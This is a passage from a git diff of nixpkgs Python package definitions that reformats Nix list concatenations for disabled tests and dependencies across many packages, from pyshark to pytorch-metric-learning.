-    [
-      # flaky
-      # KeyError: 'Packet of index 0 does not exist in capture'
-      "test_getting_packet_summary"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # fails on darwin
-      # _pickle.PicklingError: logger cannot be pickled
-      "test_iterate_empty_psml_capture"
-    ];
+  disabledTests = [
+    # flaky
+    # KeyError: 'Packet of index 0 does not exist in capture'
+    "test_getting_packet_summary"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # fails on darwin
+    # _pickle.PicklingError: logger cannot be pickled
+    "test_iterate_empty_psml_capture"
+  ];
 
   pythonImportsCheck = [ "pyshark" ];
 
diff --git a/pkgs/development/python-modules/pyside6/default.nix b/pkgs/development/python-modules/pyside6/default.nix
index 49f559a2f3f7..1b132d74d7a3 100644
--- a/pkgs/development/python-modules/pyside6/default.nix
+++ b/pkgs/development/python-modules/pyside6/default.nix
@@ -60,19 +60,18 @@ stdenv.mkDerivation (finalAttrs: {
   # cmake/Macros/PySideModules.cmake supposes that all Qt frameworks on macOS
   # reside in the same directory as QtCore.framework, which is not true for Nix.
   # We therefore symLink all required and optional Qt modules in one directory tree ("qt_linked").
-  postPatch =
-    ''
-      # Don't ignore optional Qt modules
-      substituteInPlace cmake/PySideHelpers.cmake \
-        --replace-fail \
-          'string(FIND "''${_module_dir}" "''${_core_abs_dir}" found_basepath)' \
-          'set (found_basepath 0)'
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      substituteInPlace cmake/PySideHelpers.cmake \
-        --replace-fail \
-          "Designer" ""
-    '';
+  postPatch = ''
+    # Don't ignore optional Qt modules
+    substituteInPlace cmake/PySideHelpers.cmake \
+      --replace-fail \
+        'string(FIND "''${_module_dir}" "''${_core_abs_dir}" found_basepath)' \
+        'set (found_basepath 0)'
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    substituteInPlace cmake/PySideHelpers.cmake \
+      --replace-fail \
+        "Designer" ""
+  '';
 
   # "Couldn't find libclang.dylib You will likely need to add it manually to PATH to ensure the build succeeds."
   env = lib.optionalAttrs stdenv.hostPlatform.isDarwin {
@@ -84,7 +83,8 @@ stdenv.mkDerivation (finalAttrs: {
     ninja
     python
     pythonImportsCheckHook
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ moveBuildTree ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ moveBuildTree ];
 
   buildInputs = (
     if stdenv.hostPlatform.isLinux then
diff --git a/pkgs/development/python-modules/pysvn/default.nix b/pkgs/development/python-modules/pysvn/default.nix
index efa04c42e8f1..715df8648b12 100644
--- a/pkgs/development/python-modules/pysvn/default.nix
+++ b/pkgs/development/python-modules/pysvn/default.nix
@@ -31,7 +31,8 @@ buildPythonPackage rec {
     subversion
     apr
     aprutil
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ gcc ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ gcc ];
 
   preConfigure = ''
     cd Source
diff --git a/pkgs/development/python-modules/pytablewriter/default.nix b/pkgs/development/python-modules/pytablewriter/default.nix
index 75ec06feea3f..7b638dd962da 100644
--- a/pkgs/development/python-modules/pytablewriter/default.nix
+++ b/pkgs/development/python-modules/pytablewriter/default.nix
@@ -84,7 +84,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "pathvalidate" ];
 
diff --git a/pkgs/development/python-modules/pytask/default.nix b/pkgs/development/python-modules/pytask/default.nix
index 17336a59d6b9..af475846e3a0 100644
--- a/pkgs/development/python-modules/pytask/default.nix
+++ b/pkgs/development/python-modules/pytask/default.nix
@@ -52,7 +52,8 @@ buildPythonPackage rec {
     rich
     sqlalchemy
     universal-pathlib
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   nativeCheckInputs = [
     pytestCheckHook
diff --git a/pkgs/development/python-modules/pytest-aio/default.nix b/pkgs/development/python-modules/pytest-aio/default.nix
index 9185a4b94b82..d70e7bf6495c 100644
--- a/pkgs/development/python-modules/pytest-aio/default.nix
+++ b/pkgs/development/python-modules/pytest-aio/default.nix
@@ -43,7 +43,8 @@ buildPythonPackage rec {
     hypothesis
     pytestCheckHook
     trio-asyncio
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "pytest_aio" ];
 
diff --git a/pkgs/development/python-modules/pytest-ansible/default.nix b/pkgs/development/python-modules/pytest-ansible/default.nix
index 8e35b08b12ea..c1f4a57ea1ab 100644
--- a/pkgs/development/python-modules/pytest-ansible/default.nix
+++ b/pkgs/development/python-modules/pytest-ansible/default.nix
@@ -54,35 +54,33 @@ buildPythonPackage rec {
 
   pytestFlagsArray = [ "tests/" ];
 
-  disabledTests =
-    [
-      # Host unreachable in the inventory
-      "test_become"
-      # [Errno -3] Temporary failure in name resolution
-      "test_connection_failure_v2"
-      "test_connection_failure_extra_inventory_v2"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # These tests fail in the Darwin sandbox
-      "test_ansible_facts"
-      "test_func"
-      "test_param_override_with_marker"
-    ];
+  disabledTests = [
+    # Host unreachable in the inventory
+    "test_become"
+    # [Errno -3] Temporary failure in name resolution
+    "test_connection_failure_v2"
+    "test_connection_failure_extra_inventory_v2"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # These tests fail in the Darwin sandbox
+    "test_ansible_facts"
+    "test_func"
+    "test_param_override_with_marker"
+  ];
 
-  disabledTestPaths =
-    [
-      # Test want s to execute pytest in a subprocess
-      "tests/integration/test_molecule.py"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # These tests fail in the Darwin sandbox
-      "tests/test_adhoc.py"
-      "tests/test_adhoc_result.py"
-    ]
-    ++ lib.optionals (lib.versionAtLeast ansible-core.version "2.16") [
-      # Test fail in the NixOS environment
-      "tests/test_adhoc.py"
-    ];
+  disabledTestPaths = [
+    # Test want s to execute pytest in a subprocess
+    "tests/integration/test_molecule.py"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # These tests fail in the Darwin sandbox
+    "tests/test_adhoc.py"
+    "tests/test_adhoc_result.py"
+  ]
+  ++ lib.optionals (lib.versionAtLeast ansible-core.version "2.16") [
+    # Test fail in the NixOS environment
+    "tests/test_adhoc.py"
+  ];
 
   pythonImportsCheck = [ "pytest_ansible" ];
 
diff --git a/pkgs/development/python-modules/pytest-benchmark/default.nix b/pkgs/development/python-modules/pytest-benchmark/default.nix
index fc4fbef0c72c..44eb68ebb372 100644
--- a/pkgs/development/python-modules/pytest-benchmark/default.nix
+++ b/pkgs/development/python-modules/pytest-benchmark/default.nix
@@ -57,7 +57,8 @@ buildPythonPackage rec {
     nbmake
     pytestCheckHook
     pytest-xdist
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   preCheck = ''
     export PATH="$out/bin:$PATH"
diff --git a/pkgs/development/python-modules/pytest-jupyter/default.nix b/pkgs/development/python-modules/pytest-jupyter/default.nix
index 8f3f0ddcb30f..9d38eb622b9c 100644
--- a/pkgs/development/python-modules/pytest-jupyter/default.nix
+++ b/pkgs/development/python-modules/pytest-jupyter/default.nix
@@ -59,7 +59,8 @@ let
     nativeCheckInputs = [
       pytest-timeout
       pytestCheckHook
-    ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+    ]
+    ++ lib.flatten (builtins.attrValues optional-dependencies);
 
     passthru.tests = {
       check = self.overridePythonAttrs (_: {
diff --git a/pkgs/development/python-modules/pytest-notebook/default.nix b/pkgs/development/python-modules/pytest-notebook/default.nix
index 8a37e716f31c..597c27f2b049 100644
--- a/pkgs/development/python-modules/pytest-notebook/default.nix
+++ b/pkgs/development/python-modules/pytest-notebook/default.nix
@@ -70,23 +70,22 @@ buildPythonPackage rec {
     writableTmpDirAsHomeHook
   ];
 
-  disabledTests =
-    [
-      # AssertionError: FILES DIFFER:
-      "test_diff_to_string"
+  disabledTests = [
+    # AssertionError: FILES DIFFER:
+    "test_diff_to_string"
 
-      # pytest_notebook.execution.CoverageError: An error occurred while executing coverage start-up
-      # TypeError: expected str, bytes or os.PathLike object, not NoneType
-      "test_execute_notebook_with_coverage"
-      "test_regression_coverage"
+    # pytest_notebook.execution.CoverageError: An error occurred while executing coverage start-up
+    # TypeError: expected str, bytes or os.PathLike object, not NoneType
+    "test_execute_notebook_with_coverage"
+    "test_regression_coverage"
 
-      # pytest_notebook.nb_regression.NBRegressionError
-      "test_regression_regex_replace_pass"
-    ]
-    ++ lib.optionals (pythonAtLeast "3.13") [
-      # AssertionError: FILES DIFFER:
-      "test_documentation"
-    ];
+    # pytest_notebook.nb_regression.NBRegressionError
+    "test_regression_regex_replace_pass"
+  ]
+  ++ lib.optionals (pythonAtLeast "3.13") [
+    # AssertionError: FILES DIFFER:
+    "test_documentation"
+  ];
 
   __darwinAllowLocalNetworking = true;
 
diff --git a/pkgs/development/python-modules/pytest-recording/default.nix b/pkgs/development/python-modules/pytest-recording/default.nix
index 76cfba653e2e..509f1c1fb270 100644
--- a/pkgs/development/python-modules/pytest-recording/default.nix
+++ b/pkgs/development/python-modules/pytest-recording/default.nix
@@ -43,12 +43,13 @@ buildPythonPackage rec {
     requests
   ];
 
-  disabledTests =
-    [ "test_block_network_with_allowed_hosts" ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Missing socket.AF_NETLINK
-      "test_other_socket"
-    ];
+  disabledTests = [
+    "test_block_network_with_allowed_hosts"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Missing socket.AF_NETLINK
+    "test_other_socket"
+  ];
 
   pytestFlagsArray = [ "tests" ];
 
diff --git a/pkgs/development/python-modules/pytest-regressions/default.nix b/pkgs/development/python-modules/pytest-regressions/default.nix
index 3d39e5160ea2..1848882ba808 100644
--- a/pkgs/development/python-modules/pytest-regressions/default.nix
+++ b/pkgs/development/python-modules/pytest-regressions/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     matplotlib
     pandas
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pytestFlagsArray = [
     "-W"
diff --git a/pkgs/development/python-modules/pytest-scim2-server/default.nix b/pkgs/development/python-modules/pytest-scim2-server/default.nix
index cf591738c47d..dc7cf668e67f 100644
--- a/pkgs/development/python-modules/pytest-scim2-server/default.nix
+++ b/pkgs/development/python-modules/pytest-scim2-server/default.nix
@@ -35,7 +35,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
     scim2-client
-  ] ++ scim2-client.optional-dependencies.httpx;
+  ]
+  ++ scim2-client.optional-dependencies.httpx;
 
   env.SSL_CERT_FILE = "${cacert}/etc/ssl/certs/ca-bundle.crt";
 
diff --git a/pkgs/development/python-modules/pytest-shutil/default.nix b/pkgs/development/python-modules/pytest-shutil/default.nix
index c73e063bf1a0..36b88d7ffea3 100644
--- a/pkgs/development/python-modules/pytest-shutil/default.nix
+++ b/pkgs/development/python-modules/pytest-shutil/default.nix
@@ -46,12 +46,13 @@ buildPythonPackage {
 
   nativeCheckInputs = [ pytestCheckHook ];
 
-  disabledTests =
-    [ "test_pretty_formatter" ]
-    ++ lib.optionals isPyPy [
-      "test_run"
-      "test_run_integration"
-    ];
+  disabledTests = [
+    "test_pretty_formatter"
+  ]
+  ++ lib.optionals isPyPy [
+    "test_run"
+    "test_run_integration"
+  ];
 
   meta = with lib; {
     description = "Goodie-bag of unix shell and environment tools for py.test";
diff --git a/pkgs/development/python-modules/pytest/7.nix b/pkgs/development/python-modules/pytest/7.nix
index 3abbffcf3d9d..1094c209d5fb 100644
--- a/pkgs/development/python-modules/pytest/7.nix
+++ b/pkgs/development/python-modules/pytest/7.nix
@@ -48,16 +48,15 @@ let
       setuptools-scm
     ];
 
-    propagatedBuildInputs =
-      [
-        iniconfig
-        packaging
-        pluggy
-      ]
-      ++ lib.optionals (pythonOlder "3.11") [
-        exceptiongroup
-        tomli
-      ];
+    propagatedBuildInputs = [
+      iniconfig
+      packaging
+      pluggy
+    ]
+    ++ lib.optionals (pythonOlder "3.11") [
+      exceptiongroup
+      tomli
+    ];
 
     optional-dependencies = {
       testing = [
diff --git a/pkgs/development/python-modules/pytest/default.nix b/pkgs/development/python-modules/pytest/default.nix
index 7027e2492dba..6eb3a02661cb 100644
--- a/pkgs/development/python-modules/pytest/default.nix
+++ b/pkgs/development/python-modules/pytest/default.nix
@@ -47,16 +47,15 @@ buildPythonPackage rec {
     setuptools-scm
   ];
 
-  propagatedBuildInputs =
-    [
-      iniconfig
-      packaging
-      pluggy
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      exceptiongroup
-      tomli
-    ];
+  propagatedBuildInputs = [
+    iniconfig
+    packaging
+    pluggy
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    exceptiongroup
+    tomli
+  ];
 
   optional-dependencies = {
     testing = [
diff --git a/pkgs/development/python-modules/python-benedict/default.nix b/pkgs/development/python-modules/python-benedict/default.nix
index 0d596f09f9a2..8c0a132fe539 100644
--- a/pkgs/development/python-modules/python-benedict/default.nix
+++ b/pkgs/development/python-modules/python-benedict/default.nix
@@ -93,7 +93,8 @@ buildPythonPackage rec {
     orjson
     pytestCheckHook
     python-decouple
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   disabledTests = [
     # Tests require network access
diff --git a/pkgs/development/python-modules/python-can/default.nix b/pkgs/development/python-modules/python-can/default.nix
index 1a30ade31cb8..6d225162b363 100644
--- a/pkgs/development/python-modules/python-can/default.nix
+++ b/pkgs/development/python-modules/python-can/default.nix
@@ -59,27 +59,27 @@ buildPythonPackage rec {
     pytest-cov-stub
     pytest-timeout
     pytestCheckHook
-  ] ++ optional-dependencies.serial;
+  ]
+  ++ optional-dependencies.serial;
 
   disabledTestPaths = [
     # We don't support all interfaces
     "test/test_interface_canalystii.py"
   ];
 
-  disabledTests =
-    [
-      # Tests require access socket
-      "BasicTestUdpMulticastBusIPv4"
-      "BasicTestUdpMulticastBusIPv6"
-      # pytest.approx is not supported in a boolean context (since pytest7)
-      "test_pack_unpack"
-      "test_receive"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # timing sensitive
-      "test_general"
-      "test_gap"
-    ];
+  disabledTests = [
+    # Tests require access socket
+    "BasicTestUdpMulticastBusIPv4"
+    "BasicTestUdpMulticastBusIPv6"
+    # pytest.approx is not supported in a boolean context (since pytest7)
+    "test_pack_unpack"
+    "test_receive"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # timing sensitive
+    "test_general"
+    "test_gap"
+  ];
 
   preCheck = ''
     export PATH="$PATH:$out/bin";
diff --git a/pkgs/development/python-modules/python-engineio/default.nix b/pkgs/development/python-modules/python-engineio/default.nix
index e5070ee48abc..767aabfc10eb 100644
--- a/pkgs/development/python-modules/python-engineio/default.nix
+++ b/pkgs/development/python-modules/python-engineio/default.nix
@@ -51,7 +51,8 @@ buildPythonPackage rec {
     tornado
     pytest-asyncio
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   doCheck = !stdenv.hostPlatform.isDarwin;
 
diff --git a/pkgs/development/python-modules/python-escpos/default.nix b/pkgs/development/python-modules/python-escpos/default.nix
index 894d07bc0044..14001bef0d01 100644
--- a/pkgs/development/python-modules/python-escpos/default.nix
+++ b/pkgs/development/python-modules/python-escpos/default.nix
@@ -86,7 +86,8 @@ buildPythonPackage rec {
     scripttest
     mock
     hypothesis
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   pythonImportsCheck = [ "escpos" ];
 
diff --git a/pkgs/development/python-modules/python-gvm/default.nix b/pkgs/development/python-modules/python-gvm/default.nix
index 6c5cc05e4969..c3fae26e658d 100644
--- a/pkgs/development/python-modules/python-gvm/default.nix
+++ b/pkgs/development/python-modules/python-gvm/default.nix
@@ -47,7 +47,8 @@ buildPythonPackage rec {
     # No running SSH available
     "test_connect_error"
     "test_feed_xml_error"
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_feed_xml_error" ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "test_feed_xml_error" ];
 
   pythonImportsCheck = [ "gvm" ];
 
diff --git a/pkgs/development/python-modules/python-jose/default.nix b/pkgs/development/python-modules/python-jose/default.nix
index 1c1302f803c3..68ed567a6e05 100644
--- a/pkgs/development/python-modules/python-jose/default.nix
+++ b/pkgs/development/python-modules/python-jose/default.nix
@@ -45,7 +45,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "jose" ];
 
diff --git a/pkgs/development/python-modules/python-lsp-black/default.nix b/pkgs/development/python-modules/python-lsp-black/default.nix
index 8286298f5308..a01ee17d5014 100644
--- a/pkgs/development/python-modules/python-lsp-black/default.nix
+++ b/pkgs/development/python-modules/python-lsp-black/default.nix
@@ -50,7 +50,8 @@ buildPythonPackage rec {
   dependencies = [
     black
     python-lsp-server
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   pythonImportsCheck = [ "pylsp_black" ];
 
diff --git a/pkgs/development/python-modules/python-lsp-ruff/default.nix b/pkgs/development/python-modules/python-lsp-ruff/default.nix
index 7fbd8706b1a8..8c0f66ee40ea 100644
--- a/pkgs/development/python-modules/python-lsp-ruff/default.nix
+++ b/pkgs/development/python-modules/python-lsp-ruff/default.nix
@@ -42,7 +42,8 @@ buildPythonPackage rec {
     cattrs
     lsprotocol
     python-lsp-server
-  ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
diff --git a/pkgs/development/python-modules/python-lsp-server/default.nix b/pkgs/development/python-modules/python-lsp-server/default.nix
index 5eacf71dd6c4..ed4ea8f98f0b 100644
--- a/pkgs/development/python-modules/python-lsp-server/default.nix
+++ b/pkgs/development/python-modules/python-lsp-server/default.nix
@@ -109,7 +109,8 @@ buildPythonPackage rec {
     pytestCheckHook
     versionCheckHook
     writableTmpDirAsHomeHook
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
   versionCheckProgram = "${placeholder "out"}/bin/pylsp";
   versionCheckProgramArg = "--version";
 
diff --git a/pkgs/development/python-modules/python-mapnik/default.nix b/pkgs/development/python-modules/python-mapnik/default.nix
index b3021288d6a0..5fd085781c54 100644
--- a/pkgs/development/python-modules/python-mapnik/default.nix
+++ b/pkgs/development/python-modules/python-mapnik/default.nix
@@ -96,35 +96,33 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [ pytestCheckHook ];
 
-  preCheck =
-    ''
-      # import from $out
-      rm -r mapnik
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # Replace the hardcoded /tmp references with $TMPDIR
-      sed -i "s,/tmp,$TMPDIR,g" test/python_tests/*.py
-    '';
+  preCheck = ''
+    # import from $out
+    rm -r mapnik
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # Replace the hardcoded /tmp references with $TMPDIR
+    sed -i "s,/tmp,$TMPDIR,g" test/python_tests/*.py
+  '';
 
   # https://github.com/mapnik/python-mapnik/issues/255
-  disabledTests =
-    [
-      "test_geometry_type"
-      "test_passing_pycairo_context_pdf"
-      "test_pdf_printing"
-      "test_render_with_scale_factor"
-      "test_raster_warping"
-      "test_pycairo_svg_surface1"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "test_passing_pycairo_context_png"
-      "test_passing_pycairo_context_svg"
-      "test_pycairo_pdf_surface1"
-      "test_pycairo_pdf_surface2"
-      "test_pycairo_pdf_surface3"
-      "test_pycairo_svg_surface2"
-      "test_pycairo_svg_surface3"
-    ];
+  disabledTests = [
+    "test_geometry_type"
+    "test_passing_pycairo_context_pdf"
+    "test_pdf_printing"
+    "test_render_with_scale_factor"
+    "test_raster_warping"
+    "test_pycairo_svg_surface1"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "test_passing_pycairo_context_png"
+    "test_passing_pycairo_context_svg"
+    "test_pycairo_pdf_surface1"
+    "test_pycairo_pdf_surface2"
+    "test_pycairo_pdf_surface3"
+    "test_pycairo_svg_surface2"
+    "test_pycairo_svg_surface3"
+  ];
 
   pythonImportsCheck = [ "mapnik" ];
 
diff --git a/pkgs/development/python-modules/python-matter-server/default.nix b/pkgs/development/python-modules/python-matter-server/default.nix
index fe578226b3a1..d625b2f0dd3b 100644
--- a/pkgs/development/python-modules/python-matter-server/default.nix
+++ b/pkgs/development/python-modules/python-matter-server/default.nix
@@ -108,7 +108,8 @@ buildPythonPackage rec {
     aioresponses
     pytest-aiohttp
     pytestCheckHook
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   preCheck =
     let
diff --git a/pkgs/development/python-modules/python-miio/default.nix b/pkgs/development/python-modules/python-miio/default.nix
index 2949211b9b27..3154ef5312d4 100644
--- a/pkgs/development/python-modules/python-miio/default.nix
+++ b/pkgs/development/python-modules/python-miio/default.nix
@@ -69,7 +69,8 @@ buildPythonPackage rec {
     pyyaml
     tqdm
     zeroconf
-  ] ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ importlib-metadata ];
 
   nativeCheckInputs = [
     pytest-asyncio
diff --git a/pkgs/development/python-modules/python-openstackclient/default.nix b/pkgs/development/python-modules/python-openstackclient/default.nix
index f6fc84c87a6d..ea08803c6baa 100644
--- a/pkgs/development/python-modules/python-openstackclient/default.nix
+++ b/pkgs/development/python-modules/python-openstackclient/default.nix
@@ -51,16 +51,15 @@ buildPythonPackage rec {
 
   sphinxBuilders = [ "man" ];
 
-  dependencies =
-    [
-      osc-lib
-      pbr
-      python-cinderclient
-      python-keystoneclient
-      requests
-    ]
-    # to support proxy envs like ALL_PROXY in requests
-    ++ requests.optional-dependencies.socks;
+  dependencies = [
+    osc-lib
+    pbr
+    python-cinderclient
+    python-keystoneclient
+    requests
+  ]
+  # to support proxy envs like ALL_PROXY in requests
+  ++ requests.optional-dependencies.socks;
 
   nativeCheckInputs = [
     ddt
diff --git a/pkgs/development/python-modules/python-rabbitair/default.nix b/pkgs/development/python-modules/python-rabbitair/default.nix
index fee2f88d5038..28347ceabf01 100644
--- a/pkgs/development/python-modules/python-rabbitair/default.nix
+++ b/pkgs/development/python-modules/python-rabbitair/default.nix
@@ -30,7 +30,8 @@ buildPythonPackage rec {
   propagatedBuildInputs = [
     cryptography
     zeroconf
-  ] ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
+  ]
+  ++ lib.optionals (pythonOlder "3.8") [ typing-extensions ];
 
   nativeCheckInputs = [
     pytest-asyncio
diff --git a/pkgs/development/python-modules/python-redis-lock/default.nix b/pkgs/development/python-modules/python-redis-lock/default.nix
index b7fd12f2d5c7..f6f46376f9dd 100644
--- a/pkgs/development/python-modules/python-redis-lock/default.nix
+++ b/pkgs/development/python-modules/python-redis-lock/default.nix
@@ -55,7 +55,8 @@ buildPythonPackage rec {
     pytestCheckHook
     process-tests
     pkgs.valkey
-  ] ++ optional-dependencies.django;
+  ]
+  ++ optional-dependencies.django;
 
   # For Django tests
   preCheck = "export DJANGO_SETTINGS_MODULE=test_project.settings";
diff --git a/pkgs/development/python-modules/python-roborock/default.nix b/pkgs/development/python-modules/python-roborock/default.nix
index 3fff07cf4dd3..240388932a53 100644
--- a/pkgs/development/python-modules/python-roborock/default.nix
+++ b/pkgs/development/python-modules/python-roborock/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     pycryptodome
     pyrate-limiter
     vacuum-map-parser-roborock
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ pycryptodomex ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ pycryptodomex ];
 
   nativeCheckInputs = [
     aioresponses
diff --git a/pkgs/development/python-modules/python-socketio/default.nix b/pkgs/development/python-modules/python-socketio/default.nix
index 3ac7d7a73488..bd85309718d6 100644
--- a/pkgs/development/python-modules/python-socketio/default.nix
+++ b/pkgs/development/python-modules/python-socketio/default.nix
@@ -56,7 +56,8 @@ buildPythonPackage rec {
     pytestCheckHook
     uvicorn
     simple-websocket
-  ] ++ lib.flatten (lib.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (lib.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "socketio" ];
 
diff --git a/pkgs/development/python-modules/python-telegram-bot/default.nix b/pkgs/development/python-modules/python-telegram-bot/default.nix
index efd3f5c4bb42..f73815f24b33 100644
--- a/pkgs/development/python-modules/python-telegram-bot/default.nix
+++ b/pkgs/development/python-modules/python-telegram-bot/default.nix
@@ -65,7 +65,8 @@ buildPythonPackage rec {
     pytest-timeout
     pytest-xdist
     pytestCheckHook
-  ] ++ optional-dependencies.all;
+  ]
+  ++ optional-dependencies.all;
 
   pythonImportsCheck = [ "telegram" ];
 
diff --git a/pkgs/development/python-modules/python-ulid/default.nix b/pkgs/development/python-modules/python-ulid/default.nix
index 5b62a0cd410d..5f231685b6dc 100644
--- a/pkgs/development/python-modules/python-ulid/default.nix
+++ b/pkgs/development/python-modules/python-ulid/default.nix
@@ -38,7 +38,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     freezegun
     pytestCheckHook
-  ] ++ optional-dependencies.pydantic;
+  ]
+  ++ optional-dependencies.pydantic;
 
   pythonImportsCheck = [ "ulid" ];
 
diff --git a/pkgs/development/python-modules/python-utils/default.nix b/pkgs/development/python-modules/python-utils/default.nix
index a74895545bb0..67750a9fc9d8 100644
--- a/pkgs/development/python-modules/python-utils/default.nix
+++ b/pkgs/development/python-modules/python-utils/default.nix
@@ -41,7 +41,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-asyncio
     pytestCheckHook
-  ] ++ optional-dependencies.loguru;
+  ]
+  ++ optional-dependencies.loguru;
 
   pythonImportsCheck = [ "python_utils" ];
 
diff --git a/pkgs/development/python-modules/pythonfinder/default.nix b/pkgs/development/python-modules/pythonfinder/default.nix
index cb36ba8f2dba..27cf783e91b7 100644
--- a/pkgs/development/python-modules/pythonfinder/default.nix
+++ b/pkgs/development/python-modules/pythonfinder/default.nix
@@ -41,7 +41,8 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytest-timeout
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   pythonImportsCheck = [ "pythonfinder" ];
 
diff --git a/pkgs/development/python-modules/pytoolconfig/default.nix b/pkgs/development/python-modules/pytoolconfig/default.nix
index 93ae991ed989..66dc7b7c977f 100644
--- a/pkgs/development/python-modules/pytoolconfig/default.nix
+++ b/pkgs/development/python-modules/pytoolconfig/default.nix
@@ -46,7 +46,8 @@ buildPythonPackage rec {
     sphinx-autodoc-typehints
     sphinx-rtd-theme
     sphinxHook
-  ] ++ optional-dependencies.doc;
+  ]
+  ++ optional-dependencies.doc;
 
   propagatedBuildInputs = [ packaging ] ++ lib.optionals (pythonOlder "3.11") [ tomli ];
 
@@ -63,7 +64,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ lib.flatten (builtins.attrValues optional-dependencies);
+  ]
+  ++ lib.flatten (builtins.attrValues optional-dependencies);
 
   meta = with lib; {
     description = "Python tool configuration";
diff --git a/pkgs/development/python-modules/pytools/default.nix b/pkgs/development/python-modules/pytools/default.nix
index 625cb55badbd..ea9c19255c50 100644
--- a/pkgs/development/python-modules/pytools/default.nix
+++ b/pkgs/development/python-modules/pytools/default.nix
@@ -37,7 +37,8 @@ buildPythonPackage rec {
 
   nativeCheckInputs = [
     pytestCheckHook
-  ] ++ optional-dependencies.siphash;
+  ]
+  ++ optional-dependencies.siphash;
 
   pythonImportsCheck = [
     "pytools"
diff --git a/pkgs/development/python-modules/pytorch-lightning/default.nix b/pkgs/development/python-modules/pytorch-lightning/default.nix
index 08c66c8114cb..8171e9bc5248 100644
--- a/pkgs/development/python-modules/pytorch-lightning/default.nix
+++ b/pkgs/development/python-modules/pytorch-lightning/default.nix
@@ -50,7 +50,8 @@ buildPythonPackage rec {
     torchmetrics
     tqdm
     traitlets
-  ] ++ fsspec.optional-dependencies.http;
+  ]
+  ++ fsspec.optional-dependencies.http;
 
   nativeCheckInputs = [
     psutil
diff --git a/pkgs/development/python-modules/pytorch-metric-learning/default.nix b/pkgs/development/python-modules/pytorch-metric-learning/default.nix
index de7ed5ebecd2..e00bfec34de4 100644
--- a/pkgs/development/python-modules/pytorch-metric-learning/default.nix
+++ b/pkgs/development/python-modules/pytorch-metric-learning/default.nix
@@ -73,32 +73,32 @@ buildPythonPackage rec {
   nativeCheckInputs = [
     pytestCheckHook
